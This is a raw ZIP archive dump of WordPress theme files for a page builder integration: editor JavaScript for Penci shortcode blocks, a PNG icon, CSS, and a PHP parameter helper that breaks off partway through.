                _.isObject(e) && e.preventDefault(), !0 === confirm(window.i18nLocale.press_ok_to_delete_section) && this.model.destroy();

                var data = {
                    action: 'penci_remove_video_playlist',
                    shortcodeId: this.model.getParam("video_shortcode_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
        });
        window.VcPenciVideoList = vc.shortcode_view.extend({
            render: function () {
                var params = this.model.get('params');

                if (!params.block_id) {
                    params.block_id = this.model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11));

                    this.model.save('params', params);
                }
                this.id = 'block-' + params.block_id;
                this.$el.attr('id', this.id);

                return window.VcColumnView.__super__.render.call(this), this.current_column_width = this.model.get("params").width || "1/1", this.$el.attr("data-width", this.current_column_width), this.setEmpty(), this
            },
            cloneModel: function (model, parent_id, save_order) {
                var shortcodes_to_resort = [],
                    randomID = model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11)),
                    new_order = _.isBoolean(save_order) && save_order === true ? model.get('order') : parseFloat(model.get('order')) + vc.clone_index,
                    new_params = _.extend({}, model.get('params'));

                _.extend(new_params, {block_id: +randomID});
                var model_clone = Shortcodes.create({
                    shortcode: model.get('shortcode'),
                    parent_id: parent_id,
                    order: new_order,
                    cloned: true,
                    cloned_from: model.toJSON(),
                    params: new_params
                });
                _.each(Shortcodes.where({parent_id: model.id}), function (shortcode) {
                    this.cloneModel(shortcode, model_clone.id, true);
                }, this);


                return model_clone;
            },
            changeShortcodeParams: function (model) {
                var data = {
                    action: 'penci_save_video_playlist',
                    videoList: this.model.getParam("videos_list"),
                    shortcodeId: this.model.getParam("block_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
            deleteShortcode: function (e) {

                _.isObject(e) && e.preventDefault(), !0 === confirm(window.i18nLocale.press_ok_to_delete_section) && this.model.destroy();

                var data = {
                    action: 'penci_remove_video_playlist',
                    shortcodeId: this.model.getParam("block_id"),
                    nonce: PENCILOCALIZE.nonce
                };

                $.post(PENCILOCALIZE.ajaxUrl, data, function (response) {
                });
            },
        });
        window.VcPenciShortcodeView = vc.shortcode_view.extend({
            render: function () {
                var params = this.model.get('params');

                if (!params.block_id || this.model.get('cloned')) {
                    params.block_id = this.model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11));

                    this.model.save('params', params);
                }
                this.id = 'block-' + params.block_id;
                this.$el.attr('id', this.id);

                return window.VcColumnView.__super__.render.call(this), this.current_column_width = this.model.get("params").width || "1/1", this.$el.attr("data-width", this.current_column_width), this.setEmpty(), this
            },
            cloneModel: function (model, parent_id, save_order) {
                var shortcodes_to_resort = [],
                    randomID = model.get("shortcode") + '-' + (+new Date() + Math.floor(Math.random() * 11)),
                    new_order = _.isBoolean(save_order) && save_order === true ? model.get('order') : parseFloat(model.get('order')) + vc.clone_index,
                    new_params = _.extend({}, model.get('params'));

                _.extend(new_params, {block_id: +randomID});
                var model_clone = Shortcodes.create({
                    shortcode: model.get('shortcode'),
                    parent_id: parent_id,
                    order: new_order,
                    cloned: true,
                    cloned_from: model.toJSON(),
                    params: new_params
                });
                _.each(Shortcodes.where({parent_id: model.id}), function (shortcode) {
                    this.cloneModel(shortcode, model_clone.id, true);
                }, this);


                return model_clone;
            }
        });
        vc.atts.penci_google_fonts = {
            parse: function (param) {
                var string_pieces, $field = this.content().find(".wpb_vc_param_value[name=" + param.param_name + "]"),
                    $block = $field.parent(),
                    options = {};
                return options.font_family = $block.find(".vc_google_fonts_form_field-font_family-select > option:selected").val(), options.font_style = $block.find(".vc_google_fonts_form_field-font_style-select > option:selected").val(), string_pieces = _.map(options, function (value, key) {
                    if (_.isString(value) && 0 < value.length) return key + ":" + encodeURIComponent(value)
                }), $.grep(string_pieces, function (value) {
                    return _.isString(value) && 0 < value.length
                }).join("|")
            },
            init: function (param, $field) {

            }
        };
    }(window.jQuery);

jQuery(function ($) {
    'use strict';
    $(document).on('click', '.penci-image-select', function () {
        var $this = $(this);

        $this.parent().siblings('.wpb_vc_param_value').attr("value", $this.data('value')).change();
        $this.addClass('penci-image-select--active')
            .siblings().removeClass('penci-image-select--active');
    });

    $(document).on('change', '.penci-number-input, .penci-number-suffix', function () {
        var $number = $(this).parent(),
            input = $number.find('.penci-number-input').val(),
            unit = $number.find('.penci-number-suffix').val();

        $number.find('.wpb_vc_param_value').val(input + unit);
    });
});
PK     N\;L+  +  )  inc/js_composer/assets/frontend-editor.jsnu [        (function ( $ ) {
	window.InlineShortcodeView_penci_container = window.InlineShortcodeView.extend( {
		column_tag: 'vc_column',
		events: {
			'mouseenter': 'removeHoldActive'
		},
		layout: 1,
		addControls: function () {
			this.$controls = $( '<div class="no-controls"></div>' );
			this.$controls.appendTo( this.$el );

			return this;
		},
		render: function () {
			var $content = this.content();
			if ( $content && $content.hasClass( 'vc_row-has-fill' ) ) {
				$content.removeClass( 'vc_row-has-fill' );
				this.$el.addClass( 'vc_row-has-fill' );
			}
			window.InlineShortcodeView_vc_row.__super__.render.call( this );

			return this;
		},
		removeHoldActive: function () {
			vc.unsetHoldActive();
		},
		addColumn: function () {
			vc.builder.create( {
				shortcode: this.column_tag,
				parent_id: this.model.get( 'id' )
			} ).render();
		},
		addElement: function ( e ) {
			if ( e && e.preventDefault ) {
				e.preventDefault();
			}
			this.addColumn();
		},
		changeLayout: function ( e ) {
			if ( e && e.preventDefault ) {
				e.preventDefault();
			}
			this.layoutEditor().render( this.model ).show();
		},
		layoutEditor: function () {
			if ( _.isUndefined( vc.row_layout_editor ) ) {
				vc.row_layout_editor = new vc.RowLayoutUIPanelFrontendEditor( { el: $( '#vc_ui-panel-row-layout' ) } );
			}

			return vc.row_layout_editor;
		},
		convertToWidthsArray: function ( string ) {
			return _.map( string.split( /_/ ), function ( c ) {
				var w = c.split( '' );
				w.splice( Math.floor( c.length / 2 ), 0, '/' );
				return w.join( '' );
			} );
		},
		changed: function () {
			window.InlineShortcodeView_vc_row.__super__.changed.call( this );
			this.addLayoutClass();
		},
		content: function () {
			if ( false === this.$content ) {
				this.$content = this.$el.find( '.vc_container-anchor:first' ).parent();
			}
			this.$el.find( '.vc_container-anchor:first' ).remove();

			return this.$content;
		},
		addLayoutClass: function () {
			this.$el.removeClass( 'vc_layout_' + this.layout );
			this.layout = _.reject( vc.shortcodes.where( { parent_id: this.model.get( 'id' ) } ), function ( model ) {
				return model.get( 'deleted' );
			} ).length;
			this.$el.addClass( 'vc_layout_' + this.layout );
		},
		convertRowColumns: function ( layout, builder ) {
			if ( !layout ) {
				return false;
			}
			var column_params, new_model, columns_contents, columns;
			columns_contents = [];
			columns = this.convertToWidthsArray( layout );
			vc.layout_change_shortcodes = [];
			vc.layout_old_columns = vc.shortcodes.where( { parent_id: this.model.get( 'id' ) } );
			_.each( vc.layout_old_columns, function ( column ) {
				column.set( 'deleted', true );
				columns_contents.push( {
					shortcodes: vc.shortcodes.where( { parent_id: column.get( 'id' ) } ),
					params: column.get( 'params' )
				} );
			} );
			_.each( columns, function ( column ) {
				var prev_settings = columns_contents.shift();
				if ( _.isObject( prev_settings ) ) {
					new_model = builder.create( {
						shortcode: this.column_tag,
						parent_id: this.model.get( 'id' ),
						order: vc.shortcodes.nextOrder(),
						params: _.extend( {}, prev_settings.params, { width: column } )
					} ).last();
					_.each( prev_settings.shortcodes, function ( shortcode ) {
						shortcode.save( {
								parent_id: new_model.get( 'id' ),
								order: vc.shortcodes.nextOrder()
							},
							{ silent: true } );
						vc.layout_change_shortcodes.push( shortcode );
					}, this );
				} else {
					column_params = { width: column };

					new_model = builder.create( {
						shortcode: this.column_tag,
						parent_id: this.model.get( 'id' ),
						order: vc.shortcodes.nextOrder(),
						params: column_params
					} ).last();
				}
			}, this );
			_.each( columns_contents, function ( column ) {
				_.each( column.shortcodes, function ( shortcode ) {
					shortcode.save( {
							parent_id: new_model.get( 'id' ),
							order: vc.shortcodes.nextOrder()
						},
						{ silent: true } );
					vc.layout_change_shortcodes.push( shortcode );
					if ( shortcode.view.rowsColumnsConverted ) {
						shortcode.view.rowsColumnsConverted();
					}
				}, this );
			}, this );
			builder.render( function () {
				_.each( vc.layout_change_shortcodes, function ( shortcode ) {
					shortcode.trigger( 'change:parent_id' );
					if ( shortcode.view.rowsColumnsConverted ) {
						shortcode.view.rowsColumnsConverted();
					}
				} );
				_.each( vc.layout_old_columns, function ( column ) {
					column.destroy();
				} );
				vc.layout_old_columns = [];
				vc.layout_change_shortcodes = [];
			} );

			return columns;
		},
		allowAddControl: function () {
			return 'edit' !== vc_user_access().getState( 'shortcodes' );
		},
		allowAddControlOnEmpty: function () {
			return 'edit' !== vc_user_access().getState( 'shortcodes' );
		}
	} );

	window.InlineShortcodeView_penci_column = window.InlineShortcodeViewContainerWithParent.extend( {
		controls_selector: '#vc_controls-template-vc_column',
		resizeDomainName: 'columnSize',
		_x: 0,
		css_width: 12,
		prepend: false,
		initialize: function ( params ) {
			window.InlineShortcodeView_vc_column.__super__.initialize.call( this, params );
			_.bindAll( this, 'startChangeSize', 'stopChangeSize', 'resize' );
		},
		render: function () {
			var width;
			window.InlineShortcodeView_vc_column.__super__.render.call( this );
			this.prepend = false;
			// Here goes width logic
			$( '<div class="vc_resize-bar"></div>' )
				.appendTo( this.$el )
				.mousedown( this.startChangeSize );
			this.setColumnClasses();
			this.customCssClassReplace();
			return this;
		},
		destroy: function ( e ) {
			var parent_id = this.model.get( 'parent_id' );
			window.InlineShortcodeView_vc_column.__super__.destroy.call( this, e );
			if ( !vc.shortcodes.where( { parent_id: parent_id } ).length ) {
				vc.shortcodes.get( parent_id ).destroy();
			}
		},
		customCssClassReplace: function () {
			var css_classes, css_regex, class_match;

			css_classes = this.$el.find( '.wpb_column' ).attr( 'class' );
			css_regex = /.*(vc_custom_\d+).*/;
			class_match = css_classes && css_classes.match ? css_classes.match( css_regex ) : false;
			if ( class_match && class_match[ 1 ] ) {
				this.$el.addClass( class_match[ 1 ] );
				this.$el.find( '.wpb_column' ).attr( 'class', css_classes.replace( class_match[ 1 ], '' ).trim() );
			}
		},
		setColumnClasses: function () {
			var offset, width, $content;
			offset = this.getParam( 'offset' ) || '';
			width = this.getParam( 'width' ) || '1/1';
			$content = this.$el.find( '> .wpb_column' );
			this.css_class_width = this.convertSize( width );
			if ( this.css_class_width !== width ) {
				this.css_class_width = this.css_class_width.replace( /[^\d]/g, '' );
			}
			$content.removeClass( 'vc_col-sm-' + this.css_class_width );
			if ( !offset.match( /vc_col\-sm\-\d+/ ) ) {
				this.$el.addClass( 'vc_col-sm-' + this.css_class_width );
			}
			if ( vc.responsive_disabled ) {
				offset = offset.replace( /vc_col\-(lg|md|xs)[^\s]*/g, '' );
			}
			if ( !_.isEmpty( offset ) ) {
				$content.removeClass( offset );
				this.$el.addClass( offset );
			}
		},
		startChangeSize: function ( e ) {
			var width = this.getParam( width ) || 12;
			this._grid_step = this.parent_view.$el.width() / width;
			vc.frame_window.jQuery( 'body' ).addClass( 'vc_column-dragging' ).disableSelection();
			this._x = parseInt( e.pageX, 10 );
			vc.$page.bind( 'mousemove.' + this.resizeDomainName, this.resize );
			$( vc.frame_window.document ).mouseup( this.stopChangeSize );
		},
		stopChangeSize: function () {
			this._x = 0;
			vc.frame_window.jQuery( 'body' ).removeClass( 'vc_column-dragging' ).enableSelection();
			vc.$page.unbind( 'mousemove.' + this.resizeDomainName );
		},
		resize: function ( e ) {
			var width, old_width, diff, params = this.model.get( 'params' );
			diff = e.pageX - this._x;
			if ( Math.abs( diff ) < this._grid_step ) {
				return;
			}
			this._x = parseInt( e.pageX, 10 );
			old_width = '' + this.css_class_width;
			if ( 0 < diff ) {
				this.css_class_width += 1;
			} else if ( 0 > diff ) {
				this.css_class_width -= 1;
			}
			if ( 12 < this.css_class_width ) {
				this.css_class_width = 12;
			}
			if ( 1 > this.css_class_width ) {
				this.css_class_width = 1;
			}
			params.width = vc.getColumnSize( this.css_class_width );
			this.model.save( { params: params }, { silent: true } );
			this.$el.removeClass( 'vc_col-sm-' + old_width ).addClass( 'vc_col-sm-' + this.css_class_width );
		},
		convertSize: function ( width ) {
			var prefix, numbers, range, num, dev;
			prefix = 'vc_col-sm-';
			numbers = width ? width.split( '/' ) : [
				1,
				1
			];
			range = _.range( 1, 13 );
			num = !_.isUndefined( numbers[ 0 ] ) && 0 <= _.indexOf( range,
				parseInt( numbers[ 0 ], 10 ) ) ? parseInt( numbers[ 0 ], 10 ) : false;
			dev = !_.isUndefined( numbers[ 1 ] ) && 0 <= _.indexOf( range,
				parseInt( numbers[ 1 ], 10 ) ) ? parseInt( numbers[ 1 ], 10 ) : false;
			// Custom fix for 5 columns grid
			if ( '5' === numbers[ 1 ] ) {
				return width;
			}
			if ( false !== num && false !== dev ) {
				return prefix + (12 * num / dev);
			}
			return prefix + '12';
		},
		allowAddControl: function () {
			return vc_user_access().shortcodeAll( 'vc_column' );
		}
	} );
})( window.jQuery );

jQuery( function ( $ ) {
	'use strict';
	$( document ).on( 'click', '.penci-image-select', function () {
		var $this = $( this );

		$this.parent().siblings( '.wpb_vc_param_value' ).attr("value", $this.data( 'value' ) ).change();
		$this.addClass( 'penci-image-select--active' )
		     .siblings().removeClass( 'penci-image-select--active' );
	} );

	$( document ).on( 'change', '.penci-number-input, .penci-number-suffix', function () {
		var $number = $( this ).parent(),
			input = $number.find( '.penci-number-input' ).val(),
			unit = $number.find( '.penci-number-suffix' ).val();

		$number.find( '.wpb_vc_param_value' ).val( input + unit );
	} );
} );

(function ( $ ) {
	window.InlineShortcodeView_penci_sliders = window.InlineShortcodeView.extend( {
		render: function () {
			var model_id = this.model.get( 'id' );
			return window.InlineShortcodeView_penci_sliders.__super__.render.call(this),
				vc.frame_window.vc_iframe.addActivity(function() {
					this.vc_iframe.penciSliders(model_id);
				}),
				this
		}
	} );

	vc.atts.penci_google_fonts = {
		parse: function(param) {
			var string_pieces, $field = this.content().find(".wpb_vc_param_value[name=" + param.param_name + "]"),
				$block = $field.parent(),
				options = {};
			return options.font_family = $block.find(".vc_google_fonts_form_field-font_family-select > option:selected").val(), options.font_style = $block.find(".vc_google_fonts_form_field-font_style-select > option:selected").val(), string_pieces = _.map(options, function(value, key) {
				if (_.isString(value) && 0 < value.length) return key + ":" + encodeURIComponent(value)
			}), $.grep(string_pieces, function(value) {
				return _.isString(value) && 0 < value.length
			}).join("|")
		},
		init: function(param, $field) {

		}
	};
})( window.jQuery );PK     N\n9  9  )  inc/js_composer/assets/icon-vc-layout.pngnu [        PNG

   IHDR   @      hl   	pHYs    +  8$iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2017-12-11T10:30:50+07:00</xmp:CreateDate>
         <xmp:ModifyDate>2017-12-11T10:38:17+07:00</xmp:ModifyDate>
         <xmp:MetadataDate>2017-12-11T10:38:17+07:00</xmp:MetadataDate>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <xmpMM:InstanceID>xmp.iid:faaf2685-43e1-3144-90f5-a30e38f276e7</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:faaf2685-43e1-3144-90f5-a30e38f276e7</xmpMM:DocumentID>
         <xmpMM:OriginalDocumentID>xmp.did:faaf2685-43e1-3144-90f5-a30e38f276e7</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>created</stEvt:action>
                  <stEvt:instanceID>xmp.iid:faaf2685-43e1-3144-90f5-a30e38f276e7</stEvt:instanceID>
                  <stEvt:when>2017-12-11T10:30:50+07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2017 (Windows)</stEvt:softwareAgent>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>960000/10000</tiff:XResolution>
         <tiff:YResolution>960000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>64</exif:PixelXDimension>
         <exif:PixelYDimension>13</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>7wf    cHRM  z%        u0  `  :  o_F  .IDATx앱j0E#`0v=8:vK\
7Ù}8DDx^iq23c38z3. diq	@~3svdDJ)gGUUVݮ똦s"w ix\XUՂ	1a۶Όcvvygm݉/y
m |>;,-`%^̢(hPFDX3{+`0<NYYV@WlW l]J)Y*jMXkwxtδV@ PjC    IENDB`PK     N\^    *  inc/js_composer/assets/frontend-editor.cssnu [        .compose-mode .vc_penci_container {
	padding-top: 32px;
	margin-top: 0 !important;
}

.compose-mode .vc_penci_container .penci-vc-column {
	padding: 0 !important;
	width: 100% !important;
	float: none;
}
.penci-pb-row .vc_empty-element {
	min-height: 100px;
}
.compose-mode .vc_element.vc_hold-hover > .penci-vc-container >  .penci-vc-row >  .penci-vc-row > .vc_element:before,
.compose-mode .vc_element.vc_hover > .penci-vc-container >  .penci-vc-row >  .penci-vc-row > .vc_element:before,
.compose-mode .vc_element:hover > .penci-vc-container >  .penci-vc-row > .vc_element:before,
.view-mode .vc_element.vc_hold-hover > .penci-vc-container >  .penci-vc-row > .vc_element:before,
.view-mode .vc_element.vc_hover > .penci-vc-container >  .penci-vc-row > .vc_element:before,
.view-mode .vc_element:hover > .penci-vc-container >  .penci-vc-row > .vc_element:before {
	content: '';
	margin: 0;
	padding: 0;
	position: absolute;
	z-index: 0;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	outline: #EBEBEB dashed 1px;
	outline: rgba(125, 125, 125, .4) dashed 1px;
}

.compose-mode .vc_element.vc_hold-hover>.wpb_row>.vc_element:before,
.compose-mode .vc_element.vc_hover>.wpb_row>.vc_element:before,
.compose-mode .vc_element:hover>.wpb_row>.vc_element:before,
.view-mode .vc_element.vc_hold-hover>.wpb_row>.vc_element:before,
.view-mode .vc_element.vc_hover>.wpb_row>.vc_element:before,
.view-mode .vc_element:hover>.wpb_row>.vc_element:before {

}PK     N\a/ / (  inc/js_composer/inc/vc-params-helper.phpnu [        <?php
if ( ! class_exists( 'Penci_Vc_Params_Helper' ) ):
	class Penci_Vc_Params_Helper {
		public static function params_bookmark_icon() {

			if ( ! defined( 'PENCI_BL_VERSION' ) ) {
				return [];
			}

			$group_name = 'Bookmark Icon';

			return array(
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'penci_bf_icon_sizes',
					'heading'    => __( 'Bookmark Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'penci_bf_icon_fsizes',
					'heading'    => __( 'Icon Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Border Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Background Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				// hover
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Hover Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_hcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Hover Border Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_hbcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Hover Background Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_hbgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				// activated
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Bookmarked Icon Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bmcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Bookmarked Icon Border Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bmbcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Bookmarked Icon Background Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bmbgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
			);
		}

		public static function params_heading() {

			$group_name = 'Heading';

			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'block_heading_title',
					'heading'          => esc_html__( 'Block Heading', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Show / Hide Block Heading', 'soledad' ),
					'param_name' => 'is_block_heading',
					'value'      => array(
						__( 'Show', 'soledad' ) => 'show',
						__( 'Hide', 'soledad' ) => 'hide',
					),
					'std'        => 'show',
					'group'      => $group_name,
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
					'param_name' => 'heading_title_style',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ', 'soledad' ) => '',
						esc_html__( 'Style 1', 'soledad' )  => 'style-1',
						esc_html__( 'Style 2', 'soledad' )  => 'style-2',
						esc_html__( 'Style 3', 'soledad' )  => 'style-3',
						esc_html__( 'Style 4', 'soledad' )  => 'style-4',
						esc_html__( 'Style 5', 'soledad' )  => 'style-5',
						esc_html__( 'Style 6', 'soledad' )  => 'style-6',
						esc_html__( 'Style 7', 'soledad' )  => 'style-7',
						esc_html__( 'Style 8', 'soledad' )  => 'style-9',
						esc_html__( 'Style 9', 'soledad' )  => 'style-8',
						esc_html__( 'Style 10', 'soledad' ) => 'style-10',
						esc_html__( 'Style 11', 'soledad' ) => 'style-11',
						esc_html__( 'Style 12', 'soledad' ) => 'style-12',
						esc_html__( 'Style 13', 'soledad' ) => 'style-13',
						esc_html__( 'Style 14', 'soledad' ) => 'style-14',
						esc_html__( 'Style 15', 'soledad' ) => 'style-15',
						esc_html__( 'Style 16', 'soledad' ) => 'style-16',
						esc_html__( 'Style 17', 'soledad' ) => 'style-2 style-17',
						esc_html__( 'Style 18', 'soledad' ) => 'style-18',
						esc_html__( 'Style 19', 'soledad' ) => 'style-18 style-19',
						esc_html__( 'Style 20', 'soledad' ) => 'style-18 style-20',
						esc_html__( 'Style 21', 'soledad' ) => 'style-21',
						esc_html__( 'Style 22', 'soledad' ) => 'style-22',
						esc_html__( 'Style 23', 'soledad' ) => 'style-23',
						esc_html__( 'Style 24', 'soledad' ) => 'style-24',
						esc_html__( 'Style 25', 'soledad' ) => 'style-25',
						esc_html__( 'Style 26', 'soledad' ) => 'style-26',
					),
					'group'      => $group_name,
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Heading Title', 'soledad' ),
					'param_name'  => 'heading',
					'value'       => 'Block title',
					'std'         => 'Block title',
					'admin_label' => true,
					'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
					'group'       => $group_name,
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Title url', 'soledad' ),
					'param_name'  => 'heading_title_link',
					'std'         => '',
					'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
					'group'       => $group_name,
				),
				array(
					'type'        => 'penci_switch',
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'heading'     => __( 'Add icon for title?', 'soledad' ),
					'param_name'  => 'add_title_icon',
					'group'       => $group_name,
				),
				array(
					'type'       => 'iconpicker',
					'heading'    => esc_html__( 'Icon', 'soledad' ),
					'param_name' => 'block_title_icon',
					'std'        => 'block_title_icon',
					'settings'   => array(
						'emptyIcon'    => true,
						'type'         => 'fontawesome',
						'iconsPerPage' => 4000,
					),
					'dependency' => array( 'element' => 'add_title_icon', 'value' => 'true', ),
					'group'      => $group_name,
				),
				array(
					'type'        => 'dropdown',
					'heading'     => __( 'Icon Alignment', 'soledad' ),
					'description' => __( 'Select icon alignment.', 'soledad' ),
					'param_name'  => 'block_title_ialign',
					'value'       => array(
						__( 'Left', 'soledad' )  => 'left',
						__( 'Right', 'soledad' ) => 'right',
					),
					'dependency'  => array( 'element' => 'add_title_icon', 'value' => 'true', ),
					'group'       => $group_name,
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Align', 'soledad' ),
					'param_name' => 'block_title_align',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
						esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
						esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
						esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
					),
					'group'      => $group_name,
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Align Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Right'                       => 'pciconp-right',
						'Left'                        => 'pciconp-left',
					),
					'param_name'  => 'heading_icon_pos',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => $group_name,
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Custom Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Arrow Right'                 => 'pcicon-right',
						'Arrow Left'                  => 'pcicon-left',
						'Arrow Down'                  => 'pcicon-down',
						'Arrow Up'                    => 'pcicon-up',
						'Star'                        => 'pcicon-star',
						'Bars'                        => 'pcicon-bars',
						'File'                        => 'pcicon-file',
						'Fire'                        => 'pcicon-fire',
						'Book'                        => 'pcicon-book',
					),
					'param_name'  => 'heading_icon',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => $group_name,
				),
				array(
					'type'       => 'penci_switch',
					'heading'    => esc_html__( 'Turn off Uppercase Block Title', 'soledad' ),
					'param_name' => 'block_title_offupper',
					'value'      => 'no',
					'group'      => $group_name,
				),
				array(
					'type'       => 'penci_number',
					'param_name' => 'block_title_marginbt',
